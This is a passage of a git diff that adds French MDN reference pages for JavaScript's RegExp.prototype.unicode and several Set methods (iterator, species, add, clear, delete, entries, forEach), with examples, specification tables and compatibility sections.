+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td><code>source</code> renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html
new file mode 100644
index 0000000000..e4400b5f35
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/unicode/index.html
@@ -0,0 +1,74 @@
+---
+title: RegExp.prototype.unicode
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/unicode
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+  - Regular Expressions
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/unicode
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>unicode</code></strong> indique si le drapeau "<code>u</code>" a été utilisé avec l'expression rationnelle. <code>unicode</code> est une propriété en lecture seule et liée à une instance d'expression rationnelle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-unicode.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur d'<code>unicode</code> est un {{jsxref("Boolean")}} et vaut <code>true</code> si le drapeau "<code>u</code>" a été utilisé, sinon <code>false</code>. Le drapeau "<code>u</code>" permet d'activer les fonctionnalités liées à Unicode. En utilisant le drapeau "u" toute séquence d'échappement représentant un codet Unicode sera interprétée comme telle.</p>
+
+<p>Cette propriété ne peut pas être modifiée directement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var regex = new RegExp('\u{61}', 'u');
+
+console.log(regex.unicode); // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.unicode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html
new file mode 100644
index 0000000000..de86a491fa
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html
@@ -0,0 +1,92 @@
+---
+title: 'Set.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Objets_globaux/Set/@@iterator
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>La valeur initiale de la propriété <code><strong>@@iterator</strong></code> est le même objet fonction que la valeur initiale de la propriété {{jsxref("Set.prototype.values()", "Set.prototype.values")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-@@iterator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>[Symbol.iterator]</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La fonction associée au symbole <code>@@iterator</code> de l'objet. Par défaut, c'est la fonction {{jsxref("Set.prototype.values()","values()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_iterator()">Utiliser <code>[@@iterator]()</code></h3>
+
+<pre class="brush:js">const monSet = new Set();
+monSet.add("0");
+monSet.add(1);
+monSet.add({});
+
+const setIter = monSet[Symbol.iterator]();
+
+console.log(setIter.next().value); // "0"
+console.log(setIter.next().value); // 1
+console.log(setIter.next().value); // {}
+</pre>
+
+<h3 id="Utiliser_iterator()_avec_une_boucle_for..of">Utiliser <code>[@@iterator]()</code> avec une boucle <code>for..of</code></h3>
+
+<pre class="brush:js">const monSet= new Set();
+monSet.add("0");
+monSet.add(1);
+monSet.add({});
+
+for (const v of monSet) {
+  console.log(v);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.@@iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+ <li>{{jsxref("Set.prototype.values","Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html
new file mode 100644
index 0000000000..dbf3152c4d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html
@@ -0,0 +1,72 @@
+---
+title: 'get Set[@@species]'
+slug: Web/JavaScript/Reference/Objets_globaux/Set/@@species
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@species
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Set[@@species]</strong></code> renvoie le constructeur <code>Set</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Set[Symbol.species]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>species</code> renvoie le constructeur par défaut pour les objets <code>Set</code>. Les constructeurs pour les classes filles peuvent surcharger cette propriété afin de modifier le constructeur utilisé lors de l'affectation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La propriété <code>species</code> renvoie la fonction utilisée comme constructeur par défaut, dans le cas des objets <code>Set</code>, c'est le constructeur <code>Set</code> :</p>
+
+<pre class="brush: js">Set[Symbol.species]; // function Set()</pre>
+
+<p>Pour les objets dérivés (par exemple une classe <code>MonSet</code> que vous auriez construite), la propriété species pour <code>MonSet</code> sera le constructeur <code>MonSet</code>. Cependant, si vous souhaitez surcharger ce comportement afin de renvoyer le constructeur <code>Set</code> dans les méthodes des classes dérivées, vous pourrez utiliser :</p>
+
+<pre class="brush: js">class MonSet extends Set
+  // On surcharge la propriété species de MonSet
+  // avec le constructeur Set de la classe parente
+  static get [Symbol.species()]() { return Set;}
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-set-@@species', 'get Set [ @@species ]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-set-@@species', 'get Set [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.@@species")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/add/index.html b/files/fr/web/javascript/reference/objets_globaux/set/add/index.html
new file mode 100644
index 0000000000..2ccda95513
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/add/index.html
@@ -0,0 +1,81 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/add
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>add()</strong></code> permet d'ajouter un nouvel élément ayant une valeur donnée à un ensemble <code>Set</code>. Cette valeur sera ajoutée à la fin de l'objet <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.add(<var>valeur</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire. La valeur de l'élément qu'on souhaite ajouter à l'objet <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet <code>Set</code> (ce qui permet de chaîner une suite d'instructions utilisant cette méthode).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var monSet = new Set();
+
+monSet.add(1);
+monSet.add(5).add("du texte"); // ajouts en chaîne
+
+console.log(monSet);
+// Set [1, 5, "du texte"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.add")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/set/clear/index.html
new file mode 100644
index 0000000000..1c6beb30c4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/clear/index.html
@@ -0,0 +1,77 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/clear
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>clear()</strong></code> permet de retirer tous les éléments d'un ensemble <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-clear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.clear();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var monSet = new Set();
+monSet.add(1);
+monSet.add("toto");
+
+monSet.size;        // 2
+monSet.has("toto"); // true
+
+monSet.clear();
+
+monSet.size;       // 0
+monSet.has("truc")  // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.clear")}}</p>
+
+<h3 id="Voir_aussi">Voir aussi</h3>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/set/delete/index.html
new file mode 100644
index 0000000000..eff24aa6d9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/delete/index.html
@@ -0,0 +1,96 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>delete()</strong></code> permet de retirer un élément donné d'un objet <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.delete(<var>valeur</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire. Il représente la valeur de l'élément qu'on souhaite retirer de l'objet <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si un élément de l'objet <code>Set</code> a été retiré lors de l'opération, <code>false</code> sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_delete()">Utiliser la méthode <code>delete()</code></h3>
+
+<pre class="brush: js">var monSet = new Set();
+monSet.add("toto");
+
+monSet.delete("truc"); // Renvoie false. Aucun élément "truc" n'a pu être supprimé.
+monSet.delete("toto"); // Renvoie true.  L'élément a pu être supprimé.
+
+monSet.has("toto");    // Renvoie false. L'élément "toto" ne fait plus partie de l'ensemble.
+</pre>
+
+<h3 id="Utiliser_delete()_avec_forEach()">Utiliser <code>delete()</code> avec <code>forEach()</code></h3>
+
+<pre class="brush: js">var objetSet = new Set();
+objetSet.add({x: 10, y: 20}); // On ajoute un nouvel objet dans l'ensemble
+objetSet.add({x: 20, y: 30}); // On ajoute un nouvel objet dans l'ensemble
+
+// On supprime les points de l'ensemble pour lesquels
+// x est supérieur à 10
+objetSet.forEach(function(point){
+  if(point.x &gt; 10){
+    objetSet.delete(point);
+  }
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.delete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/set/entries/index.html
new file mode 100644
index 0000000000..0e791e4c8d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/entries/index.html
@@ -0,0 +1,77 @@
+---
+title: Set.prototype.entries()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/entries
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>entries()</strong></code> renvoie un nouvel objet <code><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#Itérateurs">Iterator</a></code> qui contient un tableau composé de <strong><code>[valeur, valeur]</code></strong> pour chaque élément de l'objet <code>Set</code>, dans leur ordre d'insertion. En raison de leur structure, les objets <code>Set</code> n'ont pas de clé (<code>key</code>), à la différence des objets <code>Map</code>. Pour garder une structure et une API sembables à celle d'un objet <code>Map</code>, chaque entrée (<em>entry</em>) aura la même valeur pour la <em>clé</em> (<em>key</em>) et pour la <em>valeur </em>(<em>value</em>), c'est pourquoi un tableau de<code> [valeur, valeur]</code> est renvoyé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-entries.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.entries()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Iterator</code> qui contient un tableau de tuples [<code>valeur, valeur</code>] pour chaque élément de l'ensemble, dans leur ordre d'insertion.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var monSet = new Set();
+monSet.add("totobidule");
+monSet.add(1);
+monSet.add("machin");
+
+var setIter = monSet.entries();
+
+console.log(setIter.next().value); // ["totobidule", "totobidule"]
+console.log(setIter.next().value); // [1, 1]
+console.log(setIter.next().value); // ["machin", "machin"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Set.entries")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.values","Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html
new file mode 100644
index 0000000000..e3b14c4eb8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html
@@ -0,0 +1,115 @@
+---
+title: Set.prototype.forEach()
+slug: Web/JavaScript/Reference/Objets_globaux/Set/forEach
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>forEach()</strong></code> permet d'exécuter une fonction donnée, une fois pour chaque valeur de l'ensemble <code>Set</code>. L'ordre appliqué est celui dans lequel les valeurs ont été ajoutées à l'ensemble.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-foreach.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>monSet</var>.forEach(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction qu'on souhaite exécuter pour chaque élément et qui sera appelée avec trois arguments :</dd>
+ <dd>
+ <dl>
+  <dt><code>valeurCourante</code>, <code>cléCourante</code></dt>
+  <dd>L'élément courant appartenant à l'ensemble <code>Set</code>. Un ensemble n'ayant pas de clé, c'est la même valeur qui est passée pour deux arguments de la fonction de rappel.</dd>
+  <dt><code>set</code></dt>
+  <dd>L'objet <code>Set</code> courant (celui sur lequel <code>forEach()</code> a été appelé).</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Paramètre optionnel. La valeur à utiliser comme <code>this</code> lors de l'exécution de <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>forEach()</code> exécute la fonction <code>callback</code> fournie pour chaque valeur contenue au sein de l'objet <code>Set</code>. Elle n'est pas appelée pour les valeurs qui ont été supprimées. Cependant, elle est exécutée si jamais la valeur vaut <code>undefined</code>.</p>
+
+<p><code>callback</code> est appelé avec <strong>trois arguments</strong> :</p>
+
+<ul>
+ <li>la <strong>valeur de l'élément</strong></li>
+ <li>la <strong>clé de l'élément</strong></li>
+ <li>l'objet <strong><code>Set</code> qui est parcouru</strong></li>
+</ul>
+
+<p>Les objets <code>Set</code> n'ont pas de clé (<em>key</em>). Cependant les deux premiers arguments correspondent à la <strong>valeur</strong> contenue dans l'objet {{jsxref("Set")}}. Cela permet d'utiliser les fonctions callback de façon cohérente avec les méthodes <code>forEach()</code> de {{jsxref("Map.foreach", "Map")}} et {{jsxref("Array.forEach","Array")}}.</p>
+
+<p>Si un paramètre <code>thisArg</code> est fourni, il sera passé à la fonction <code>callback</code> lors de l'appel comme valeur <code>this</code>. Par défaut, la valeur {{jsxref("undefined")}} sera passée comme argument <code>this</code>. La valeur <code>this</code> effectivement reçue par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">les règles usuelles de détermination de <code>this</code> par une fonction</a>.</p>
+
+<p>Chacune des valeurs sera traitée une fois sauf si celle-ci a été supprimée puis réajoutée avant la fin de <code>forEach</code>. <code>callback</code> n'est pas appelé pour les valeurs qui sont supprimés avant le passage de la fonction. Les valeurs qui sont ajoutées avant que <code>forEach</code> ait parcouru l'ensemble seront traitées</p>
+
+<p><code>forEach</code> exécute la fonction <code>callback</code> une fois pour chaque élément de l'objet <code>Set</code>. Cette méthode ne renvoie pas de valeur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code qui suit permet d'enregistrer une ligne pour chaque élément contenu dans l'objet <code>Set</code> :</p>
+
+<pre class="brush:js">function logSetElements(valeur1, valeur2, set) {
+    console.log("s[" + valeur1 + "] = " + valeur2);
+}
+
+new Set(["toto", "truc", undefined]).forEach(logSetElements);
+
+// affichera :
+// "s[toto] = toto"
+// "s[truc] = truc"
+// "s[undefined] = undefined"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
